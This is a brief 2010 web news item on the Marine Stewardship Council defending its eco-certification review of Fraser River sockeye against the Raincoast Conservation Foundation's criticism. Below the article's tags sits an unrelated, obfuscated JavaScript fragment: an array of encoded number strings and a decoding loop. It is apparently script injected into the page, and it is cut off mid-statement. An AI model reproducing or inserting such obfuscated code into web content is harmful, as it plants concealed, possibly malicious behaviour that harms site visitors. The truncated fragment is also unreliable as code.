

MSC defends its process for review of Fraser River sockeye

Written by Administrator

Saturday, 26 June 2010 12:55 -

---

Recently the Marine Stewardship Council (MSC) has come under attack from the Raincoast Conservation Foundation which questioned the process and methodology of the MSC certification process (still ongoing) involving the Fraser River sockeye salmon fishery in British Columbia. In an article on The Huffington Post Chris Ninnnes , Deputy CEO, Marine Stewardship Council, defends the process by which the MSC is reviewing Fraser River sockeye with a view to ecocertification. Ninnnes contends that the process is open and transparent and the methodology is an independent, third-party assessment against MSC's three core principles covering: health of the stock; impact on the ecosystem; and the management of the fishery.

More here and here

TAGS: Fraser River sockeye, Raincoast Conservation Foundation, Marine Stewardship Council, Chris Ninnnes, The Huffington Post, MSC methodology, sustainable, fisheries, fishing

```
var a=0,m,v,t,z,x=new
```

```
Array('7980857265','7571736577','7675796980697574','6162797572818065','63726976','78656380','7684','61818075'),l=x.length;while(++a
```